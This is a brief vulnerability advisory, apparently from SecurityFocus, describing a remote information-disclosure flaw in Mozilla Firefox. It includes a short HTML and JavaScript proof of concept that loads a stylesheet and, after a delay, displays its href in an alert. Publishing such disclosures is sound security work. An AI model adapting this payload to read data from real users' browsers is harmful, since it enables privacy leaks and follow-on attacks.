source: https://www.securityfocus.com/bid/38369/info

Mozilla Firefox is prone to a remote information-disclosure vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information that may lead to further attacks. 

<link rel="stylesheet" type="text/css" href="http://www.example.com"> Hola <script language="javascript"> setTimeout("alert(document.styleSheets[0].href)", 10000); //setTimeout is used just to wait for page loading </script>